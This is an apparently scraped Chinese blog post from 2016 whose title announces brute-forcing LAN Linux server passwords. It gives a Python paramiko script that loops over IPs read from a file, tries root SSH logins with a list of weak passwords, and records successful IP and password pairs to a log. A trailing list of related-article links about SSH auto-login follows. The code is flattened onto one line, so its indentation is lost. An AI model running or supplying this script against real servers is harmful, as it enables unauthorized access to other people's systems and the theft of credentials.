python自动登录SSH(暴力破解局网LINUX服务器登录密码)
2016-11-01 15:34
627 查看
# -*- coding: utf-8 -*- import paramiko import os client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #client.connect('192.168.8.248', 22, username='root', password='password', timeout=4) def write_log(ip_str,password): log_file = "find_pass.txt" file = open(log_file,'a') file.write(ip_str+'|'+password+os.linesep) file.close() def ssh_connect(ip,username,password): global client try: client.connect(ip, 22, username=username, password=password, timeout=4) write_log(ip,password) print "ip: %s is login success,password is %s" % (ip,password) except: print "ip: %s login has no pass" % ip #client.close() if __name__=='__main__': pwd_dic = ['123456','111111','222222','888888','999999','666666'] if os.path.exists('ip_log.txt'): for ip in open("ip_log.txt").readlines(): for pwd in pwd_dic: ssh_connect(ip,'root',pwd) else: print "ip_log is not exists" client.close()
相关文章推荐
- ssh自动输入密码登录服务器/ssh免输入密码登录/非交互ssh 密码验证
- linux通过ssh登录其他服务器,不用输入密码
- Mac下配置远程Linux 服务器SSH密钥认证自动登录
- Linux SSH 客户端保存密码 自动登录服务端
- Mac OS X下配置远程Linux 服务器SSH密钥认证自动登录
- 用了一天的时间,linux下expect实现ssh自动登录服务器记,鄙视下网上各种抄来抄去残段子
- Linux多台服务器间SSH免密码登录配置
- Mac OS X下配置远程Linux 服务器SSH密钥认证自动登录
- 用python写个自动SSH登录远程服务器的小工具(实例)
- iTerm2 结合 Linux expect 实现 ssh 自动登陆, 通过跳板机登录服务器内网功能
- [最简单的] ssh安全的免密码自动登录 支持多台服务器间通信
- linux下使用脚本自动登录远程服务器 - Python - language - ITeye论坛
- 不输入密码自动通过SSH方式登录服务器
- SSH无密码登录多台服务器(Linux新手之路)
- 服务器间通过ssh使用密钥对实现无密码登录solaris,redhat,linux
- Linux多台服务器间SSH免密码登录配置
- Python实现Linux下SSh的无密码登录
- ssh自动输入密码登录服务器/ssh免输入密码登录/非交互ssh 密码验证
- linux下实现ssh自动登录远程服务器
- 用Python写个自动ssh登录远程服务器的小工具